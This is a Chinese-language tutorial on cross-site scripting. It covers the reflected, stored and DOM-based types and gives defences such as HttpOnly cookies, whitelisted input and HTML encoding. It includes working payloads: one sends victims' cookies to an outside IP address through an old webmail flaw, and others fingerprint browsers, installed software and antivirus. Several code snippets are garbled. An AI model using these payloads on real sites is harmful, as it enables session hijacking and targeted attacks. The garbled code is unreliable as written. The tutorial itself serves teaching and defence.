Web攻防系列教程之跨站脚本攻击和防范技巧详解
摘要:XSS跨站脚本攻击⼀直都被认为是客户端Web安全中最主流的攻击⽅式。因为Web环境的复杂性以及XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决。那么,XSS跨站脚本攻击具体攻击⾏为是什么,⼜该如何进⾏有效的防范呢?本⽂对此进⾏了有针对性的具体实例分析。
XSS跨站脚本攻击⼀直都被认为是客户端Web安全中最主流的攻击⽅式。因为Web环境的复杂性以及XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决。那么,XSS跨站脚本攻击具体攻击⾏为是什么,⼜该如何进⾏有效的防范呢?本⽂对此进⾏了有针对性的具体实例分析。
跨站脚本攻击(Cross Site Scripting)是指攻击者利⽤⽹站程序对⽤户输⼊过滤不⾜,输⼊可以显⽰在页⾯上对其他⽤户造成影响的HTML 代码,从⽽盗取⽤户资料、利⽤⽤户⾝份进⾏某种动作或者对访问者进⾏病毒侵害的⼀种攻击⽅式。为了与层叠样式表(Cascading Style Sheets)的缩写CSS区分开,跨站脚本攻击通常简写为XSS。
下⾯这个页⾯的主要作⽤是获取⽤户输⼊的参数作为⽤户名,并在页⾯中显⽰“欢迎您,XXX”的形式,具体代码如下:
<?php
$username = $_GET["name"];
echo "<p>欢迎您, ".$username."!</p>";
>
正常情况下,⽤户会在URL中提交参数name的值为⾃⼰的姓名,然后该数据内容会通过以上代码在页⾯中展⽰,如⽤户提交姓名为“张三”,完整的URL地址如下:
在浏览器中访问时,会显⽰如下图1所⽰内容:
图1
在浏览器中访问时,我们发现会有弹窗提⽰,如下图2所⽰:
图2
那么此时页⾯的源码⼜是什么情况呢?
源码变成了“<p>欢迎您, <script>alert(/我的名字是张三/)</script>!</p>”,从源代码中我们发现,⽤户输⼊的数据中,<script>与</script>标签中的代码被浏览器执⾏了,⽽这并不是⽹页脚本程序想要的结果。
这个例⼦正是最简单的⼀种XSS跨站脚本攻击的形式,称之为反射型XSS。
XSS跨站脚本攻击的分类
根据XSS跨站脚本攻击存在的形式及产⽣的效果,可以将其分为以下三类。
⼀、反射型XSS跨站脚本攻击
反射型XSS脚本攻击即如我们上⾯所提到的XSS跨站脚本攻击⽅式,该类型只是简单地将⽤户输⼊的数据直接或未经过完善的安全过滤就在浏览器中进⾏输出,导致输出的数据中存在可被浏览器执⾏的代码数据。由于此种类型的跨站代码存在于URL中,所以⿊客通常需要通过诱骗或加密变形等⽅式,将存在恶意代码的链接发给⽤户,只有⽤户点击以后才能使得攻击成功实施。
⼆、存储型XSS跨站脚本攻击
存储型XSS脚本攻击是指Web应⽤程序会将⽤户输⼊的数据信息保存在服务端的数据库或其他⽂件形式中,⽹页进⾏数据查询展⽰时,会从数据库中获取数据内容,并将数据内容在⽹页中进⾏输出展⽰,因此存储型XSS具有较强的稳定性。
存储型XSS脚本攻击最为常见的场景就是在博客或新闻发布系统中,⿊客将包含有恶意代码的数据信息
直接写⼊⽂章或⽂章评论中,所有浏览⽂章或评论的⽤户,都会在他们客户端浏览器环境中执⾏插⼊的恶意代码。如流⾏的Bo-Blog程序的早期版本中存在对⽤户提交评论数据过滤不严导致的XSS跨站脚本攻击漏洞,⿊客可以在⽂章评论中提交插⼊恶意数据的UBB代码,提交后,Bo-Blog程序会将数据保存⾄数据库中,当⽤户浏览该⽇志时,就会执⾏插⼊的恶意代码,如图3所⽰。
图3
三、基于DOM的XSS跨站脚本攻击
基于DOM的XSS跨站脚本攻击是通过修改页⾯DOM节点数据信息⽽形成的XSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的javascript DOM代码进⾏分析,并根据实际情况进⾏XSS跨站脚本攻击的利⽤。让我们来针对如下代码进⾏详细分析:
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = ElementById("input").value;
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="提交" onclick="xsstest()" />
</body>
</html>
图4
以上情况为正常的⽤户输⼊情况,那⿊客⼜是怎么利⽤该种类型代码实现XSS跨站脚本攻击的呢?⿊客可以通过构造如下数据,输⼊“#’onerror=’javascript:alert(/DOM Based XSS Test/)”,在浏览器中提交后,发现代码果然被执⾏,出现了弹窗提⽰,如下图5所⽰。
图5
XSS跨站脚本攻击实例
以上是针对XSS跨站脚本攻击三种类型的简单介绍。看了上⾯的描述朋友们或许会想,难道仅仅弹出⼀个提⽰框就是XSS跨站脚本攻击了吗?答案当然是否定的,XSS跨站脚本攻击的利⽤可以实现多种效果,甚⾄可以说XSS跨站脚本攻击漏洞的利⽤是⼀种⿊客攻击的艺术,下⾯我们结合具体实例进⾏详细的分析和描述,了解⼀下XSS跨站脚本攻击都能做些什么事情。
XSS跨站脚本攻击利⽤钓鱼
⽬前,⽹络钓鱼攻击的⽅式⽐较多,包括申请注册相似域名,构建相似度⾼的⽹站环境和发布虚假中奖信息等,但是以上钓鱼攻击⽅式针对有⼀定安全意识的⽹民来说,很难实现成功的钓鱼攻击。然⽽通过XSS跨站脚本攻击漏洞进⾏的钓鱼攻击,即使有⼀定安全意识的⽹民,也⽆法抵御。这⾥我们以盛⼤游戏论坛的XSS跨站脚本攻击漏洞利⽤的钓鱼攻击演⽰(⽬前,该漏洞已经修复)。⾸先,我们需要了解的是,盛⼤的游戏登录都是使⽤盛⼤通⾏证进⾏登录的,⽽盛⼤的游戏论坛也是使⽤盛⼤通⾏证进⾏登录,所以,如果⿊客通过盗取游戏玩家登录论坛时的信息,就相当于盗取了玩家游戏账号和密码。盛⼤的游戏论坛就存在XSS跨站脚本攻击漏洞,使得⿊客可以通过该漏洞获取⽤户的账号和密码。存在过滤不严的位置为⽤户资料中的个⼈主页部分,通过在个⼈主页栏中输⼊如下代码:
图6
显⽰的内容和盛⼤官⽅游戏论坛登录的页⾯⼀样,如果不通过查看⽹页源代码的⽅式是⽆法从页⾯显⽰中看出任何问题的,当玩家输⼊通⾏证账号和密码信息并点击登录时,账号提交的地址不是盛⼤的服务器,⽽是⿊客的服务器。从源码中,可以看到账号和密码发送到的⿊客服务器账号接收程序的地址,如下图7所⽰:
图7
XSS跨站脚本攻击盗取⽤户Cookie信息
通过XSS跨站脚本攻击盗取⽤户Cookie信息⼀直是XSS跨站脚本攻击漏洞利⽤的最主流⽅式之⼀。当⽤户正常登录Web应⽤程序时,⽤户会从服务端得到⼀个包含有会话令牌的cookie:
Set-Cookie: SessionID=6010D6F2F7B24A182EC3DF53E65C88FCA17B0A96FAE129C3
⿊客则可以通过XSS跨站脚本攻击的⽅式将嵌⼊恶意代码的页⾯发送给⽤户,当⽤户点击浏览时,⿊客即可获取⽤户的Cookie信息并⽤该信息欺骗服务器端,⽆需账号密码即可直接成功登录。这⾥我们以⽹易邮箱的XSS跨站脚本攻击漏洞为例进⾏分析和描述。⽹易邮箱⽼版本中,曾经存在⼀个XSS跨站脚本攻击漏洞,⿊客可以构造如下代码:
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:xx=new Image();xx.src='61.130.75.239/pic/163.asp?
url='+escape(document.URL)+'&cookie='+kie);" width=0 height=0>]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
图8
并将包含有如图8所⽰恶意代码的邮件发送⾄⽹易邮箱⽤户时,⽤户打开了含有恶意代码的邮件后,代
码就会⾃动将⽤户的cookie信息发送到 61.130.75.239上的163.asp⽂件,其中163.asp的作⽤是记录发送过来的Cookie,记录的Cookie内容如下图9所⽰:
图9
在接收到Cookie以后,就可以通过Cookie欺骗的⽅式实现登录⽬标邮箱了,如图10所⽰。
图10
XSS跨站脚本攻击搜集客户端环境信息
搜集客户端环境信息在更多的时候主要应⽤于指定⽬标的渗透攻击或⽹络挂马攻击,如了解客户端环境所使⽤的浏览器信息、操作系统信息、组件是否安装以及安全防护软件安装情况等。通过XSS跨站脚本攻击可以更加⽅便、快速地实现客户端环境信息的收集。
那么如何通过javascript收集以上信息呢?我们构造如下脚本代码,并在浏览器中执⾏这段代码。
<script>
alert(navigator.userAgent);
</script>
得到的结果如下图11所⽰。
图11
这个信息中告诉了我们以上关⼼的两个信息,⼀个是浏览器的类型和版本,另外⼀个是客户端环境操作系统的版本。
浏览器:MSIE 8.0(微软IE浏览器,浏览器版本是8.0)
操作系统:Windows NT 6.1(操作系统类型是windows 7)
通过以上⽅式可以获取客户端的浏览器和操作系统信息,接下来我们在继续判断客户端环境组件安装情况。构造代码如下:
<script>
try{
var object = new ActiveXObject("XunLeiBHO.ThunderIEHelper");
} catch(e){ alert("迅雷软件未安装");
}
</script>
客户端环境中如果安装迅雷下载软件的话,那么就会安装相应的ActiveX控件XunLeiBHO.ThunderIEHelper,以上脚本的作⽤即是通过⽹页脚本去加载迅雷的ActiveX控件,如果控件存在则不会抛出异常,否则就会抛出异常并被脚本捕获,运⾏上⾯的脚本代码时,安装有迅雷的环境不会有任何提⽰,未安装迅雷的环境就会弹窗提⽰“迅雷软件未安装”。
控件判断可以通过⽹页加载ActiveX控件的⽅式实现,那么怎么通过脚本判断客户端环境中是否安装了安全软件呢?这⾥我们以瑞星安全软件为例,分析描述如何通过XSS跨站脚本攻击漏洞的利⽤检测客户端环境是否存在瑞星安全软件。我们构造代码如下:
<script>
var havesoft=false;
var disk=['c','d'];
自动弹窗代码var soft=[':\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994'];
for(i=0;i<soft.length;i++)
{    for(j=0;j<disk.length;j++)
{    var img=new Image();
res='res://'+disk[j]+soft[i];
img.src=res;
if(img.height!=30)
{
havesoft=true;
}
}
}
</script>
以上代码的作⽤是通过javascript结合res协议对客户端环境中的资源⽂件进⾏加载,javascript脚本运⾏后,会对客户端环境的C、D盘进⾏访问,访问是否存在瑞星默认安装路径的资源⽂件,并尝试对资源⽂件进⾏加载,如果加载成功,则说明资源⽂件存在,也说明瑞星安全软件的存在,并将变量 havesoft置为真,脚本检测结束后,只需要检测该变量是否为真即可。
XSS Worm
相对于以上三种情况,可以说是XSS蠕⾍(XSS Worm)的破坏⼒和影响⼒都是巨⼤的。XSS蠕⾍主要发⽣在⽤户之间存在交互⾏为的页⾯中,当Web应⽤程序对⽤户输⼊的数据信息没有做严格的过滤时,通过结合Ajax的异步提交,就可以实现在植⼊恶意代码的同时,将恶意代码进⾏对外发送,即实现了代码的感染和传播,也就形成了XSS蠕⾍。
谈到XSS蠕⾍就很有必要介绍⼀下新浪微博遭受XSS蠕⾍攻击事件,同时我们也以此次攻击事件作为例⼦,对⿊客恶意利⽤漏洞⾄XSS蠕⾍⼤范围扩散的过程进⾏详细分析和描述,并对该XSS蠕⾍的恶意脚本⽂件进⾏⼀下简要的分析。
此处请参见拙作《》,不再赘述。
XSS跨站脚本攻击的防范
通过以上针对不同种情况的XSS跨站脚本攻击的描述,我们了解到了在复杂的Web环境中,XSS的利⽤是千变万化的,如何能够有效地防范XSS跨站脚本攻击问题⼀直都是浏览器⼚商和⽹站安全技术⼈员关注的热门话题。现在很多浏览器⼚商都在⾃⼰的程序中增加了防范XSS跨站脚本攻击的措施,如IE浏览器从 IE8开始内置了XSS筛选器,Firefox也有相应的CSP、Noscript扩展等。⽽对于⽹站的安全技术⼈员来说,提出⾼效的技术解决⽅案,保护⽤户免受XSS跨站脚本攻击才是关键。下⾯我们结合⽹站安全设计,描述⼀下如何通过技术⼿段实现XSS跨站脚本攻击的防范。
利⽤HttpOnly
HttpOnly 最初是由微软提出的,⽬前已经被多款流⾏浏览器⼚商所采⽤。HttpOnly的作⽤不是过滤XSS跨站脚本攻击,⽽是浏览器将禁⽌页⾯的 Javascript访问带有HttpOnly属性的Cookie,解决XSS跨站脚本攻击后的Cookie会话劫持⾏为。
httpOnly是在Set-Cookie时进⾏标记的,设置的Cookie头格式如下:
Set-Cookie: <name>=<value>[; <name>=<value>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
以php为例,在php 5.2版本时就已经在Setcookie函数加⼊了对HttpOnly的⽀持,如
<?php
setcookie("user", "admin", NULL, NULL, NULL, NULL, TRUE);
>
通过以上代码就可以设置user这个cookie,将其设置为HttpOnly,setcookie函数实质是通过向客户端发送原始的HTTP报⽂头进⾏设置的,document将不可见这个Cookie,所以使⽤kie就取不到这个Cookie,也就是先了对Cookie的保护。
完善的输⼊和输出检查
由于三种XSS跨站脚本攻击类型的漏洞成因可不相同,针对输⼊输出的检查⼀部分适⽤于反射型XSS与存储型XSS,⽽另外⼀些检查适⽤于基于DOM的XSS。
A. 防范反射型XSS和存储型XSS
输⼊检查在⼤多数的时候都是对可信字符的检查或输⼊数据格式的检查,如⽤户输⼊的注册账号信息中只允许包括字母、数字、下划线和汉字等,对于输⼊的⼀切⾮⽩名单内的字符均认为是⾮法输⼊。数据格式如输⼊的IP地址、电话号码、邮件地址、⽇期等数据都具有⼀定的格式规范,只有符合数据规范的输⼊信息才允许通过检查。
输出检查主要是针对数据展⽰过程中,应该对数据信息进⾏HTML编码处理,将可能存在导致XSS跨站脚本攻击的恶意字符进⾏编码,在不影响正常数据显⽰的前提条件下,过滤恶意字符。常见的可能造成XSS跨站脚本攻击的字符及其HTML编码如下:
“ "
‘ '
& &
< <
>  >
除了常⽤的编码外,任何字符都可以使⽤其ASCII码进⾏HTML编码,如
% %
* *
B. 防范基于DOM的XSS
从基于DOM的XSS的定义及其触发⽅式我们发现,当基于DOM的XSS跨站脚本攻击发⽣时,恶意数据的格式与传统的XSS跨站脚本攻击数据格式有⼀定的差异,甚⾄可以在不经过服务器端的处理和相应的情况下,直接对客户端实施攻击⾏为,因此上述我们应⽤于防范反射型XSS和存储型XSS的⽅法并不适⽤于防范基于DOM的XSS跨站脚本攻击。
针对基于DOM的XSS防范的输⼊检查⽅法,我们发现在客户端部署相应的安全检测代码的过滤效果要⽐在服务器端检测的效果更加明显。例如,我们可以通过如下客户端检测代码来保证⽤户输⼊的数据只包含字母、数字和空格,代码如下:
<script>
var str = document.URL;
str = str.substring(str.indexOf("username=")+9, str.length);
str = unescape(str);
var regex=/^([A-Za-z0-9+\s])*$/;
if (st(str))
document.write(str);
</script>
同样,我们也可以通过在服务端实现类似上述数据检查的功能,如在服务器端检测URL参数是否为预定的参数username,并对username参数的内容进⾏检测,确认数据内容是否为只包含数字、字母和空格符,实现服务端的数据过滤。但是,由于客户端数据的可控性,这种服务端检测的效果要明显弱于客户端检测。
基于DOM的XSS输出检查与反射型XSS漏洞输出检查的⽅法相似,在将⽤户可控的DOM数据内容插⼊到⽂档之前,Web应⽤程序应对提交的数据进⾏HTML编码处理,将⽤户提交的数据中可能存在的各种危险字符和表达式进⾏过滤以安全的⽅式插⼊到⽂档中进⾏展现,如可以通过如下函数实现在客户端javascript中执⾏HTML编码处理。
function jsEncode(str)
{
var d = ateElement('div');
d.ateTextNode(str));
return d.innerHTML;
}
XSS 跨站脚本攻击作为Web应⽤安全领域中最⼤威胁之⼀,不仅仅危害Web应⽤业务的正常运营,对访问Web应⽤业务的客户端环境和⽤户也带来了直接安全影响。虽然XSS跨站脚本攻击在复杂的Web应⽤环境中利⽤⽅式千变万化,但是⽹络安全⼈员通过对Web应⽤的各种环境进⾏详细分析和处理,完全阻断XSS 跨站脚本攻击是可以实现的。如何有效防范和阻⽌XSS跨站脚本攻击,保障Web应⽤系统的业务安全和正常运营,保护客户端⽤户免受XSS跨站脚本攻击⾏为的侵害,是Web应⽤系统管理⼈员和⽹络安全产品开发⼈员的共同职责。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。